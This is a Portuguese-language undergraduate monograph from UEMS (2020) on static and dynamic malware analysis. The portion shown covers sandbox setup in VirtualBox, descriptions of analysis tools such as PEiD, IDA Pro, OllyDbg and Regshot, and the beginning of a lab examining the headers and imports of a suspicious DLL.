Curso de Ciência da Computação Universidade Estadual de Mato Grosso do Sul

ANÁLISES ESTÁTICA E DINÂMICA DE PROGRAMAS MALICIOSOS (MALWARES)

RAFAELA DONASSOLO ALVES

ORIENTADOR: PROF. DR. RUBENS BARBOSA FILHO

DOURADOS-MS 2020

ANÁLISES ESTÁTICA E DINÂMICA DE PROGRAMAS MALICIOSOS (MALWARES)

RAFAELA DONASSOLO ALVES

Este exemplar corresponde à redação final da monografia da disciplina Projeto Final de Curso devidamente corrigida e defendida por Rafaela Donassolo Alves e aprovada pela Banca Examinadora, como parte dos requisitos para a obtenção do título de Bacharel em Ciência da Computação.

ORIENTADOR: PROF. DR. RUBENS BARBOSA FILHO

DOURADOS-MS 2020

A482a Alves, Rafaela Donassolo
Análise estática e dinâmica de códigos maliciosos
(malwares) / Rafaela Donassolo Alves. – Dourados, MS:
UEMS, 2020.
74p.

Monografia (Graduação) – Ciência da Computação – Universidade Estadual de Mato Grosso do Sul, 2020. Orientadora: Prof. Dr. Rubens Barbosa Filho.

1. Malware 2. Código malicioso 3. Análise estática I. Barbosa Filho, Rubens II. Título

CDD 23. ed. - 005.84

Curso de Ciência da Computação Universidade Estadual de Mato Grosso do Sul

ANÁLISES ESTÁTICA E DINÂMICA DE PROGRAMAS MALICIOSOS (MALWARES)

RAFAELA DONASSOLO ALVES

Novembro de 2020

Banca Examinadora:

Prof. Dr. Rubens Barbosa Filho (Orientador) Área de Computação – UEMS Prof^a. Dr^a. Mercedes R. Gonzales Márquez Área de Computação – UEMS Prof. Dr. Osvaldo Vargas Jaques Área de Computação – UEMS Primeiramente, agradeço aos meus pais Aguinaldo e Vanessa, pelos exemplos de amor, companheirismo e dedicação que me oferecem a cada dia.

Agradeço a minha irmã Isabela que sempre está ao meu lado me apoiando em todas as minhas decisões.

Agradeço ao meu orientador, Prof. Dr. Rubens Barbosa Filho, pela competência e dedicação durante a elaboração desse trabalho.

Agradeço todos os professores do curso que me proporcionaram conhecimento, especialmente Prof. Dr. Odival Faccenda e Prof^a. Dr^a. Glaucia Gabriel Sass por me proporcionar minha primeira iniciação científica.

Agradeço aos meus amigos por todo carinho e apoio em tantos momentos difíceis desta caminhada.

RESUMO

Códigos maliciosos são programas de computadores que tem como objetivo criar uma vulnerabilidade no sistema e assim roubar dados e informações dos usuários, além de outros problemas que podem causar. Portanto o trabalho tem como objetivo estudar programas maliciosos, em que é realizado análises desses códigos através de análises estática e dinâmica, e assim conseguir classificá-los de acordo com o comportamento. As características são apresentadas, assim como as técnicas para análise dos códigos maliciosos e as ferramentas necessárias para o estudo dos mesmos.

Palavras-chave: malware, código malicioso, análise estática, análise dinâmica.

ABSTRACT

Malicious code are malicious programs that have the purpose to create a vulnerability in the system and then steal data and user information besides other problems that can be created. Therefore the aim of this project is to study malicious programs by performing the investigation of these codes, through static and dynamic analysis and then be able to classify them according to their behaviour. The characteristics are presented as well as the techniques for the analysis and the necessary tools for this study.

Key-words: malware, malicious code, static analysis, dynamic analysis.

Sumário

1	INTRODUÇÃO	 15
1.1	Objetivo geral	 16
1.2	Objetivos específicos	 16
2	REFERENCIAL TEÓRICO	 17
2.1	Análise Estática Básica	 18
2.2	Análise Estática Avançada	 18
2.3	Análise Dinâmica Básica	 19
2.4	Análise Dinâmica Avançada	 19
2.5	Trabalhos Relacionados	 19
3	MÁQUINA VIRTUAL	 21
4	FERRAMENTAS	 25
4.1	BinText	 25
4.2	Delphi 7	 25
4.3	Delphi Decompiler	 25
4.4	ExeinfoPE	 26
4.5	FakeNet	 26
4.6	IDA PRO	 27
4.7	OllyDBG	 28
4.8	PEiD	 29
4.9	PeView	 29
4.10	Process Explorer	 30
4.11	Process Monitor	 31
4.12	Regshot	 32
4.13	UPX	 33
4.14	Virus Total	 33
5	METODOLOGIA E ANÁLISES	 35
5.1	Arquivo disfarçado de biblioteca DLL	 35
5.2	Análise de arquivo executável empacotado	 38
5.3	Análise de arquivo executável com strings criptografadas	 41
5.4	Arquivo Executável criando Processos	 49
5.5	Malware Acessando Site Externo pela Rede	 55
5.6	Arquivo disfarçado de executável	 56

5.7	Malware Envelopado	66
6	CONCLUSÃO	72
	REFERÊNCIAS	73

1 Introdução

Ano após ano verifica-se que o número de códigos maliciosos cresce substancialmente. No ano de 2019, de acordo com a Kaspersky (2020d), houve um aumento de 14% de objetos maliciosos. A maioria desses códigos maliciosos está voltado principalmente para o lucro financeiro. No entanto, na década de 1970, os ataques eram praticamente realizados com o objetivo de diversão.

Um terço dos ataques financeiros, no ano de 2019, teve o objetivo de atingir usuários corporativos. Essas ações visaram obter informações sobre contas bancárias ou afetar os recursos financeiros da empresa. O Brasil foi o quarto país mais atingido por esses tipos de ataques ficando atrás apenas da Rússia, Alemanha e China (KASPERSKY, 2020a).

Já em 2020, com a pandemia do coronavírus, os cibercriminosos aproveitaram o tema para realizar ataques e disseminar códigos maliciosos. Alguns desses ataques envolvia uma mensagem enviada por um aplicativo de mensagem disponibilizando uma suposta oferta de serviço *streaming* gratuito durante a pandemia do COVID-19. Também os cibercriminosos utilizaram campanhas com nome de uma farmácia, a qual envia uma fatura de compra de álcool em gel. Isso levou alguns usuários a clicarem no *link* malicioso (KASPERSKY, 2020c).

Além desses ataques, os cibercriminosos utilizaram *fake news* relacionadas ao auxílio emergencial para conseguir realizar esse tipo de ação. Segundo a Kaspersky (2020b), o Brasil se tornou o quinto país mais atingido por ciberataques durante a pandemia.

Portanto, tanto as ferramentas utilizadas quanto os códigos desenvolvidos estão mais profissionais. Este conjunto, ferramentas e códigos abrangem técnicas de ataque, infecção e propagação avançadas. Diante deste cenário, há a necessidade de se manter um constante aprimoramento das técnicas e ferramentas de detecção, identificação e neutralização desses códigos maliciosos. O caminho para alcançar esses intentos passa pelo entendimento dos processos de segurança e inovação das tecnologias necessárias para conhecer um código/programa que possa ser classificado como malicioso.

A evolução dos ataques por meio de *malwares* fez com que surgissem novos desafios para a área de segurança de computadores. Conhecer o funcionamento de um código malicioso é o ponto de partida para se produzir ou mesmo escolher as ferramentas adequadas para detecção e proteção dos usuários. Tais ferramentas adequadas permite conhecer o contexto em que o código malicioso pretende agir, sendo por meio de coleta de dados, danos ao sistema, fraudes financeiras ou ameaças e extorsões. O trabalho apresenta, no capítulo dois, um referencial teórico para o melhor entendimento do material de estudo. Depois é apresentado o conceito de máquina virtual no capítulo três. O capítulo quatro apresenta a metodologia científica junto com as ferramentas e os resultados dos estudo. Por fim, o capítulo cinco apresenta a conclusão desse trabalho.

1.1 Objetivo geral

Estudar arquivos maliciosos através das análises estática e dinâmica.

1.2 Objetivos específicos

- Estudo de técnicas de análises estática e dinâmica;
- Estudo das ferramentas usadas em cada tipo de análise;
- Análises estática e dinâmica de sete códigos maliciosos;
- Classificação dos sete códigos dentre sete categorias ou famílias de malwares.

2 Referencial Teórico

Em 2017, houve um ciberataque que atingiu vários países. O Brasil foi um dos países atingidos com 15 estados afetados. Esse ciberataque afetou hospitais, indústrias, empresas e serviços de telefonia. No Brasil, além dos sites do Ministério Público Federal e do Tribunal de Justiça de São Paulo, sistemas do Instituto Nacional do Seguro Social também foram atingidos (BRITTO; FREITAS, 2017).

Esses tipos de ataques ocorrem, pois programas maliciosos são espalhados a fim de atingir dispositivos conectados a rede. Segundo Mangialardo e Duarte (2015), programas maliciosos, que também são chamados de *malwares*, são programas criados com o intuito de realizar ações que prejudicam um computador. Os principais motivos para a criação desses programas são ganho financeiro e coleta de informações confidenciais.

Outra definição para esses programas é de Sihwail, Omar e Ariffin (2018). Segundo Sihwail, Omar e Ariffin (2018), *malware* é um *software* que é inserido em um sistema sem que o usuário saiba e que compromete as funções do computador, roubando dados e evitando controles de acesso. De acordo com Sihwail, Omar e Ariffin (2018), um *malware* pode ser:

• Vírus

Esse tipo de *malware* se replica e insere seu código em outros programas. Ele consegue se espalhar de um programa para outro e de um computador para outro.

• Spyware

Esse tipo de código malicioso espia as atividades do usuário atingido e consegue obter informações sobre páginas *web* visitadas e número de cartão de credito sem a vítma saber e envia essas informações para o atacante

• Botnet

Esse código malicioso controla remotamente um grupo de dispositivos como PCs e *smart phones*

• Trojan Horse

Enquanto atua como um programa legítimo, esse código executa funções desconhecidas e indesejadas.Também permite que atacantes tenham acesso a máquina e conseguem informações confidenciais.

Além dessas categorias de *malware* apresentadas, também existem outros tipos como *Adware*, o qual traz constantemente propagandas para o computador, e *Ransomware*, o qual permite que o *hacker* bloqueie as informações do computador, isto é, esse programa malicioso encripta os dados mais importantes e pede um pagamento para liberá-los. Portanto, com a variedade de *malwares*, é importante compreender o comportamento de cada um para assim classificá-los.

De acordo com Paulista e Marchi (2017), é necessário realizar a análise do comportamento de programas maliciosos, uma vez que auxilia no desenvolvimento de sistemas mais seguros. Paulista e Marchi (2017) ainda afirmam:

> Milhares de códigos maliciosos são criados diariamente e para tanto, se faz necessário analisá-los. A análise do código e comportamento malicioso visa o entendimento profundo do funcionamento de um malware(Filho e outros, 2009), e a partir desta análise é possível projetar sistemas mais seguros e nos proteger de ataques futuros. Além disto, para realizar detecção de malware é necessário conhecer seus possíveis comportamentos e assim concluir se um dado programa é benigno ou malicioso.

Assim para realizar o estudo de programas maliciosos, é importante compreender as técnicas utilizadas para análise. Portanto, existem duas técnicas a fim de obter as características e comportamentos dos *malwares*: análise estática e análise dinâmica. Segundo Leite (2016), uma análise estática consiste no estudo de um arquivo do tipo *Portable Executable-(PE Files)*, isto é, arquivos executáveis, sem precisar executá-los. Nesse processo de análise, é possível identificar padrões nas *strings* utilizadas, sequência de *bytes*, distribuição de *opcodes*, entre outros.

Já a análise dinâmica é realizada ao executar o *malware*. Segundo Prado, Penteado e Grégio (2016), o código malicioso é executado em um emulador, ou seja, um ambiente controlado, por um período de tempo permitindo que a infecção aconteça. Assim, o *malware* mostra seu comportamento e dessa forma pode-se obter as ações realizadas pelo mesmo.

2.1 Análise Estática Básica

A análise estática básica, segundo Mangialardo e Duarte (2015), estuda o código utilizando programas antivírus, e analisando as *strings*, funções e obtém informações dos cabeçalhos dos programas.

2.2 Análise Estática Avançada

A análise estática avançada, de acordo com Mangialardo e Duarte (2015), o código estudado é desmontado e uma engenharia reversa é feita a fim de entender as ações do *malware* analisado.

2.3 Análise Dinâmica Básica

A análise dinâmica básica estuda o código malicioso em um ambiente controlado, em que os processos do *malware* serão monitorados e os pacotes de dados feitos pelo código serão analisados (PRAYUDI; RIADI; YUSIRWAN, 2015).

2.4 Análise Dinâmica Avançada

Essa análise, segundo Prayudi, Riadi e Yusirwan (2015), é um método aprofundado da análise dinâmica realizando *debugging* no arquivo, analisando o registrador e realizando uma análise do sistema *windows*.

2.5 Trabalhos Relacionados

Mangialardo e Duarte (2015) apresentaram um técnica para classificação de *malware* baseada na unificação das técnicas de análise estática e dinâmica com o aprendizado de máquina. Os autores iniciaram a classificação determinando os artefatos como malignos, para aqueles que são *malwares*, e benignos para aqueles que são não *malwares*.

Para realizar a classificação da análise estática, atributos como data de compilação, tamanho do arquivo, entropia, entre outros foram considerados. Na análise dinâmica, as APIs do sistema foram utilizados para realizar a classificação. Já na análise conjunta, a qual utiliza aprendizado de máquina, foram usados os algoritmos C5.0 e Random Forest.

Mangialardo e Duarte (2015) realizaram nove experimentos, os quais têm o objetivo de definir o desempenho da identificação do *malware* e a classificação para os tipos de códigos maliciosos. A validação dos experimentos foi feita a partir da validação cruzada e as métricas consideradas foram acurácia, precisão, revocação e a medida-F.

Mangialardo e Duarte (2015) chegaram a conclusão em que a técnica unificada apresenta melhor acurácia que as técnicas isoladas. No método de classificação, em que foi utilizado o aprendizado de máquina, o melhor resultado foi com o algoritmo *Random Forest*. Além dessa técnica, os autores utilizaram a medida-F para medir o desempenho da classificação, e foi observado que o desempenho é melhor quando as técnicas de análise estática e dinâmica são aplicadas juntas.

Prado, Penteado e Grégio (2016) desenvolveram uma heurística para detectar um comportamento malicioso. Para isso o estudo utilizou a técnica de análise dinâmica. O modelo desenvolvido agrupa algumas característica e informações para definir uma ação suspeita. Assim, foram especificadas algumas características para uma heurística geral, e definido a detecção comportamental, em que *templates* seriam criados.

Prado, Penteado e Grégio (2016) utilizaram os *templates* criados para encontrar instâncias de comportamento de acordo com o algoritmo estabelecido. Para realizar os testes, os

autores pegaram amostras maliciosas e benignas. Assim, Prado, Penteado e Grégio (2016) obtiveram os resultados que mostraram que é viável aplicar heurísticas baseados nos comportamentos para detecção dos *malwares*.

Sihwail, Omar e Ariffin (2018) realizaram o estudo das técnicas para análise dos códigos maliciosos. Os métodos de detecção baseado em assinatura e detecção baseada em heurística foram apresentados. Sihwail, Omar e Ariffin (2018) citaram as técnicas de análise estática, dinâmica, híbrida e análise de memória.

Sihwail, Omar e Ariffin (2018) apresentaram a comparação de trabalhos que estudam exemplares de *malwares* e mostram as técnicas utilizados pelos arquivos maliciosos para evitar a detecção. Além de apresentarem as técnicas para evitar a detecção, Sihwail, Omar e Ariffin (2018) mostraram como que os códigos maliciosos conseguem acesso ao sistema alvo.

3 Máquina Virtual

Antes de qualquer análise envolvendo um código malicioso, é necessário configurar um ambiente seguro que impeça ao código malicioso infectar a máquina do analista. Uma máquina sem um configuração de segurança pode permitir que o código malicioso se espalhe facilmente para outras máquinas conectadas pela rede. Um ambiente seguro permite ao analista investigar o código malicioso sem expor a máquina de produção ou outras máquinas da rede a um risco desnecessário.

Atualmente, é possível utilizar uma máquina física dedicada ou uma máquina virtual no estudo de códigos maliciosos. Este trabalho utiliza uma máquina virtual em que é possível até mesmo executar o código malicioso. Uma Máquina Virtual possui uma estrutura onde se pode exemplificar como sendo um computador dentro de outro computador, conforme figura 1.



Figura 1 – Estrutura de uma máquina virtual

Próprio Autor

Ou seja, um computador possui um sistema operacional nativo e suas aplicações conforme representado pela figura 1. Quando uma máquina virtual é instalada, é possível que seja instalado um sistema operacional diferente do sistema nativo do computador. Assim, as aplicações e ações realizadas nesse sistema convidado não afetam o sistema operacional nativo da máquina.

Ferramentas	Image: Image:<	
Teste (Snapshot 1)	Nome	Criado
🔽 🔂 Salva	4 🚳 Snapshot 1	05/06/2019 16:23
	🚳 Snapshot 2	08/08/2019 19:47 (24 dias atrás)
	🙀 Estado Atual	
	<u>A</u> tributos Informação	
	Nome: Entre com o nome para o novo snapshot	
	Descrição:	
		Criar Desfazer

Figura 2 – Tela inicial da máquina virtual VirtualBox



Figura 3 – Sistema Operacional Windows XP instalado na máquina virtual

Próprio Autor

A imagem 2 apresenta a máquina virtual *VirtualBox*. Na tela inicial é possível instalar mais de um sistema operacional. Já a imagem 3 apresenta um exemplo de sistema operacional instalado na máquina virtual *VirtualBox*, o qual é o *Windows XP*. Também é possível que sejam feitos *snapshots* da máquina virtual, ou seja, é possível realizar "fotografia" do estado atual da máquina virtual. Assim caso ocorra algum problema, é possível restaurar a maquina virtual ao estado anterior. As imagens 4, 5 e 6 mostram o processo de restauração da máquina virtual.



Figura 4 – Imagem que representa o estado atual da máquina virtual

Próprio Autor

Criar	Anagar (D)	Restaurar	Propriedades	Clonar	Configurações		Iniciar (T)	*
Nome	, pagar (a) [The board of the	Tropheddaes) 0.01.0.	ooninger ayo co		2110001 (1)	
⊿ 🚳	Snapshot 1							
4	Snapshot 2							
	🕛 Est	ado Atual (I	modificado)					

Figura 5 – Imagem que representa o estado modificado da máquina virtual

Próprio Autor



Figura 6 – Imagem que representa a restauração da máquina virtual

A imagem 5 apresenta o estado da máquina virtual modificado após a utilização da mesma. Assim é possível restaurar a máquina virtual ao estado anterior como a 6 apresenta.

4 Ferramentas

4.1 BinText

Essa ferramenta extrai *strings* ocultas em arquivos binários. *BinText* consegue extrair texto de qualquer tipo de arquivo e exibir texto *ASCII*, *unicode* e cadeias de recursos. A figura 7 abaixo mostra a tela da ferramenta com um arquivo aberto.



Figura 7 – Imagem do BinText com um arquivo aberto

Próprio Autor

4.2 Delphi 7

Delphi é uma linguagem de programação baseada na linguagem Pascal, e é utilizada para criar aplicações *mobile*, *desktop* e *Web*. A versão usada nesse trabalho é a 7. As imagens 55 e 56 na seção 5.6 apresentam a ferramenta.

4.3 Delphi Decompiler

Delphi Decompiler é uma ferramenta que possibilita realizar uma engenharia reversa no código, ou seja, quando não se tem o código original, é possível obter parte dele. A imagem 57 na seção 5.6 apresenta um exemplo do uso dessa ferramenta.

4.4 ExeinfoPE

Essa ferramenta possibilita analisar arquivos executáveis e ver todas as suas propriedades. Também é possível renomear arquivos, e obter informações como tamanho do arquivo e o ponto de entrada. A imagem 52 na seção 5.6 apresenta a ferramenta com um arquivo aberto.

4.5 FakeNet

FakeNet é uma ferramenta que simula uma rede falsa, ou seja, o malware executará suas funções sem infectar uma rede. Quando se utiliza o navegador, a ferramenta apresenta uma página padrão, isto é, pode-se alterar a URL, mas a página é a mesma. A imagem 8 mostra a execução da ferramenta no terminal e a figura 9 apresenta a página que a ferramenta cria.



Figura 8 – Tela que apresenta a ferramenta inicializada no terminal

Próprio Autor



Figura 9 – Tela que apresenta o navegador com a página da ferramenta

4.6 IDA PRO

Essa ferramenta, segundo Sihwail, Omar e Ariffin (2018), exibe instruções *assembly*, fornece informações sobre o código analisado e extrai um padrão para identificar o programa malicioso. A imagem 10 apresenta a tela inicial da ferramenta.

The interactive disassembler	
File Edit Jump Search View Debugger Options Windows Help	
🔓 🖬 🖌 ← + → + 🛛 👫 👫 👫 🚯 🐧 🔍 Text 🕑	✓ / = + × 680 / 2 =
│ 🗄 🌒 🖉 👷 💥 🛦 🗁 🖌 🗖 🔰 📾 🖪 `	
₿ En 0001 0001 081 "s" - * N × 955 - # - 'x' S H K /→	~ / ↓ : ; 燕羿 Ц ʰ 聶 燕 罕 燕 丞
■ ■ ● ∂ ┺ ┺ / /i /	
	New disassembly database
	PDAs/Handhelds/Phones Consoles Embedded Various files Windows DOS Unix Mac Java .NET Various OS's
	PE Executable PE Dynamic .ocx PE ActiveX PE/LE/NE Device Library Control Driver

Figura 10 – Tela inicial da ferramenta IDA Pro

4.7 OllyDBG

Essa ferramenta é um *debugger* que é utilizada para monitorar a execução do comportamento de binários suspeitos em nível de instrução (SIHWAIL; OMAR; ARIFFIN, 2018). Segundo o Sihwail, Omar e Ariffin (2018), um *debugger* é um tipo de ambiente controlado, o qual é um programa que observa e examina a execução de outros programas binários. A figura 11 mostra um arquivo aberto na ferramenta.



Figura 11 – Tela do OllyDBG com o arquivo analisado aberto

4.8 *PEiD*

Esse programa é utilizado para identificar o compilador utilizado pelo arquivo estudado e verificar se o código está empacotado. A figura 17 na seção 5.1 mostra a ferramenta com um arquivo aberto.

4.9 PeView

Nessa ferramenta é possível ver as informações do cabeçalho do arquivo e as diferentes seções do mesmo. Esse programa mostra informações sobre data de criação dos arquivos, as bibliotecas DLLs do mesmo e se o código acessa a rede mostrando endereço IP ou URL. A imagem 18 mostra o PeView com um arquivo aberto.

File View Go Help		
🔌 🕢 😋 谷 💌 💌 🛬 🛃		
😑 Lab01-01.dll	pFile Raw Data Value	~
- IMAGE_DOS_HEADER	00000000 4D 5A 90 00 03 00 00 00 04 00 00 0F FF 00 00 MZ	-
MS-DOS Stub Program	00000010 68 00 00 00 00 00 00 40 00 00 00 00 00 00	
IMAGE_NT_HEADERS		
IMAGE_SECTION_HEADER .t		
- IMAGE_SECTION_HEADER .r	00000040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68	
IMAGE_SECTION_HEADER .c	00000050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno	
IMAGE_SECTION_HEADER .r	00000060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS	
SECTION .text	00000070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 mode\$	
SECTION .rdata	00000080 43 B6 D0 D8 07 D7 BE 8B 07 D7 BE 8B 07 D7 BE 8B C	
SECTION .data	00000090 84 CB B0 8B 06 D7 BE 8B EF C8 B4 8B 03 D7 BE 8B	
B SECTION .reloc	000000A0 07 D7 BF 8B 11 D7 BE 8B 65 C8 AD 8B 02 D7 BE 8Bee	
	000000B0 EF C8 B5 8B 05 D7 BE 8B EF C8 BA 8B 04 D7 BE 8B	
	000000C0 52 69 63 68 07 D7 BE 88 00 00 00 00 00 00 Rich	
	00000000 50 45 00 00 4C 01 04 00 E6 2F 0E 4D 00 00 00 PE.LL/.M	
<		~
viewing Lab01-01.dll		

Figura 12 – Imagem do PeView com um arquivo aberto

4.10 Process Explorer

Essa ferramenta, de acordo com (MICROSOFT, 2020a), mostra informações sobre quais identificadores e processos de *DLLs* foram abertos ou carregados. A imagem 13 mostra o *Process Explorer*.

The second land land land land	A 144 (2)				
Process	PID CPU	Private Bytes	Working Set	Description	Company Name
System Idle Process	0 100.00	0 K	16 K		
🛛 📩 System	4	0 K	52 K		
Interrupts	n/a < 0.01	0 K	0 K	Hardware Interrupts and DPCs	
🖃 🏧 smss.exe	500	164 K	104 K	Gerenciador de Sessão do	Microsoft Corporation
csrss.exe	612	1.592 K	2.056 K	Client Server Runtime Process	Microsoft Corporation
🖃 🌆 winlogon.exe	644	6.020 K	1.368 K	Aplicativo de logon do Wind	Microsoft Corporation
🖃 📩 services.exe	716	1.584 K	1.928 K	Aplicativo de serviços e cont	Microsoft Corporation
😽 VBoxService.exe	884	1.064 K	1.548 K	VirtualBox Guest Additions S	Oracle Corporation
🖃 📩 svchost.exe	928	2.948 K	1.928 K	Generic Host Process for Wi	Microsoft Corporation
wmiprvse.exe	564	2.788 K	4.596 K	WMI	Microsoft Corporation
📩 svchost.exe	1016	1.664 K	2.052 K	Generic Host Process for Wi	Microsoft Corporation
📩 svchost.exe	1112	12.192 K	11.064 K	Generic Host Process for Wi	Microsoft Corporation
📩 svchost.exe	1164	1.084 K	1.584 K	Generic Host Process for Wi	Microsoft Corporation
📩 svchost.exe	1208	1.556 K	1.784 K	Generic Host Process for Wi	Microsoft Corporation
📩 spoolsv.exe	1624	2.940 K	1.340 K	Spooler SubSystem App	Microsoft Corporation
iqs.exe	1884	4.528 K	1.380 K	Java(TM) Quick Starter Servi	Sun Microsystems, Inc.
📩 alg.exe	1052	1.064 K	1.124 K	Application Layer Gateway S	Microsoft Corporation
📩 svchost.exe	768	2.404 K	3.108 K	Generic Host Process for Wi	Microsoft Corporation
🗂 Isass.exe	728	3.596 K	2.308 K	LSA Shell (Export Version)	Microsoft Corporation
🛛 🖳 explorer.exe	1504	13.724 K	14.460 K	Windows Explorer	Microsoft Corporation
😵 VBoxTray.exe	576	1.272 K	1.464 K	VirtualBox Guest Additions Tr	Oracle Corporation
🔀 jusched.exe	604	644 K	652 K	Java(TM) Update Scheduler	Sun Microsystems, Inc.
📝 ctfmon.exe	592	768 K	1.272 K	CTF Loader	Microsoft Corporation
💆 procexp.exe	1272	6.980 K	8.828 K	Sysinternals Process Explorer	Sysinternals - www.sysinter

Figura 13 – Tela do Process Explorer

4.11 Process Monitor

Essa ferramenta é um programa de monitoramento, para *Windows*, a qual mostra em tempo real arquivos de sistema, registros, processos e *threads* (MICROSOFT, 2020b). A a imagem 14 mostra a tela inicial da ferramenta.

	Uperation	Path	B	esult	Detail
Process Monit					
Filters were in effec	t the last time you	exited Process			
Display entries mate	hing these	11 - 10			
Architecture	💙 is	~	✓ then	Include 💌	
Reset	Relation	Value	Add	Remove	
	is	Procmon.exe	Exclude		
Process	is	System	Exclude		
Process	10		Freeholds.		
V V Process V V Process V V Operation	begins with	IRP_MJ_	Exclude		
Process Process .	begins with begins with	IRP_MJ_ FASTIO_	Exclude		
Process Process .	begins with begins with ends with	IRP_MJ_ FASTIO_ pagefile.sys	Exclude Exclude Exclude		

Figura 14 – Tela inicial do ProcMon

4.12 Regshot

O *RegShot* é utilizado para verificar mudanças no registro, ou seja, a ferramenta faz uma "fotografia" do registro antes e depois de executar o *malware* e assim mostrar as modificações feitas pelo código. A imagem 15 abaixo mostra esse programa.

🗖 Regshot 1.8.2 📃 🗖 🔀						
Salvar notas comparadas como:	1ª foto					
• Texto C HTML	2ª foto					
Pesquisar diretório:	Comparar					
C:\WINDOWS	Limpar					
Destino:	Sair					
C:	Sobre					
Adicionar comentário em nota:						
	Portugues					

Figura 15 – Tela da ferramenta RegShot

4.13 *UPX*

Esse programa é utilizado tanto para desempacotar arquivos como empacotá-los. Nesse trabalho foi utilizada para desempacotar os arquivos analisados. O comando upx - d [caminho do arquivo] é utilizado para isso. A imagem 23 na seção 5.2 mostra a ferramenta desempacotando o arquivo analisado.

4.14 Virus Total

Esse *site* faz análise de arquivos passando por vários antivírus e mostrando quais desses programas conseguiram identificar o arquivo. Nessa ferramenta, é possível ver as propriedades básicas do arquivo, como o *hash* do programa, o tamanho do arquivo, o tipo do mesmo, e se utiliza empacotadores. Também tem outras informações que são possíveis ver, as quais são a data em que o arquivo foi criado, as bibliotecas e funções utilizadas pelo mesmo e se o arquivo faz conexão com a rede. A imagem 16 mostra a tela inicial do *site*.

Intelligence Hunting	Graph	API				000	Sign in
			Σ	VIRUSTO	TAL		
			Analyzo autor	suspicious filos and URLs to dotoct types matically share them with the security cor	of malwaro, nmunity		
			FILE	URL	SEARCH		
				Choose file			
			By submitting your file to VirusTotal	I you are asking VirusTotal to share your submission with t Terms of Service and Privacy Policy. Learn more.	he security community and agree to our	(

Figura 16 – Tela inicial do site Virus Total

5 Metodologia e Análises

O estudo requer um conhecimento científico, pois será realizado uma análise dos programas maliciosos para entender seu funcionamento e quais ações o código realiza na máquina atingida. Ao obter conhecimento do comportamento do programa malicioso, é possível identificar que tipo o mesmo se classifica. Portanto, para entender o comportamento do programa malicioso, os estudos serão realizados no laboratório do bloco de computação da Universidade Estadual de Mato Grosso do Sul (UEMS).

Neste trabalho é realizado um estudo bibliográfico sobre os tipos de *malwares* mais atuantes na comunidade de segurança. Estudou-se também as abordagens de análise estática e dinâmica de *malwares* assim como a utilização de ferramentas de apoio. Por fim são realizados sete laboratórios com características distintas que permitirão ao leitor identificar e compreender as técnicas de análise apresentadas nesse trabalho.

5.1 Arquivo disfarçado de biblioteca DLL

Para essa primeira análise foi utilizada a técnica de análise estática, a qual não é necessário executar o código estudado. Assim, esse primeiro estudo envolve dois arquivos, os quais um tem extensão DLL e o outro possui extensão EXE. Ambos passaram pelos programas PeView, PEiD e BinText. A primeira ferramenta utilizada foi o PEiD para verificar se o arquivo estava empacotado. De acordo com Sihwail, Omar e Ariffin (2018), malwares geralmente utilizam empacotadores para evitarem ser analisados. Assim foi visto que o código analisado não estava empacotado, como mostra a imagem 17.

🚟 PEiD v0.95 📃 🗆								
File: E:\[crimesciberneticos.com]_Labs\CUIDADO\BinaryCollection\Chapte								
Entrypoint: 000012FA File Offset: 000012FA	EP Section: .text > First Bytes: 55,8B,EC,53 >							
Linker Info: 6.0	Subsystem: Win32 GUI >							
Microsoft Visual C++ 6.0 DLL Multi Scan Task Viewer Options About Exit								
Stay on top								

Figura 17 – Imagem do arquivo na ferramenta PEiD que mostra o compilador utilizado

Após esse processo, os dois códigos passaram pelo PeView. Nessa ferramenta, foi possível ver a data de criação dos dois arquivos analisados, ambos possuem a data de compilação em 19/12/2010, com pouca diferença no horário de criação. Como arquivos DLLs não executam sozinhos, acredita-se que os dois códigos fazem parte do mesmo pacote.

Foi possível identificar, também, as bibliotecas utilizadas pelos arquivos. Ambos fazem referência a *Kernel32.dll*, a qual lida com gerenciamento de memória, entrada e saída de operações e interrupções; e *Msvcrt.dll*, que é a biblioteca de tempo de execução C. O código *DLL* também utiliza a biblioteca *Ws2_32.dll*. Essa biblioteca fornece acesso a aplicações para funções Winsock e transporta fornecedores de serviços para carregar nomes e operações de mensagens (RUSSINOVICH; SOLOMON; IONESCU, 2012).
File View Go Help					
🖻 🛛 😋 🖓 🕲 💌 💌 🛨					
🖃 Lab01-01. dll	pFile	Raw	Data	Value	~
- IMAGE_DOS_HEADER	00000000	4D 5A 90 00 03 00 00 00	04 00 00 00 FF FF 00 00	MZ	
- MS-DOS Stub Program	00000010	88 00 00 00 00 00 00 00	40 00 00 00 00 00 00 00		
IMAGE_NT_HEADERS	00000020	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00		
IMAGE_SECTION_HEADER .t	00000030	00 00 00 00 00 00 00 00	00 00 00 00 E0 00 00 00		
IMAGE_SECTION_HEADER .r	00000040	OE 1F BA OE OO B4 09 CD	21 B8 01 4C CD 21 54 68	L.ITh	
IMAGE_SECTION_HEADER .c	00000050	69 73 20 70 72 6F 67 72	61 6D 20 63 61 6E 6E 6F	is program canno	
IMAGE_SECTION_HEADER .r	00000060	74 20 62 65 20 72 75 6E	20 69 6E 20 44 4F 53 20	t be run in DOS	
- SECTION .text	00000070	6D 6F 64 65 2E 0D 0D 0A	24 00 00 00 00 00 00 00	mode\$	
SECTION .rdata	00000080	43 B6 D0 D8 07 D7 BE 8B	07 D7 BE 8B 07 D7 BE 8B	C	
- SECTION .data	00000090	84 CB B0 8B 06 D7 BE 8B	EF C8 B4 8B 03 D7 BE 8B		
SECTION .reloc	0A000000	07 D7 BF 8B 11 D7 BE 8B	65 C8 AD 8B 02 D7 BE 8B	e	
	00000080	EF C8 B5 8B 05 D7 BE 8B	EF C8 BA 8B 04 D7 BE 8B		
	000000C0	52 69 63 68 07 D7 BE 8B	00 00 00 00 00 00 00 00	Rich	
	000000D0	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00		
	000000E0	50 45 00 00 4C 01 04 00	E6 2F 0E 4D 00 00 00 00	PEL/.M	
	000000F0	00 00 00 00 E0 00 0E 21	08 01 06 00 00 10 00 00		
	00000100	00 60 02 00 00 00 00 00	FA 12 00 00 00 10 00 00		
	00000110	00 20 00 00 00 00 00 10	00 10 00 00 00 10 00 00		
	00000120	04 00 00 00 00 00 00 00	04 00 00 00 00 00 00 00		
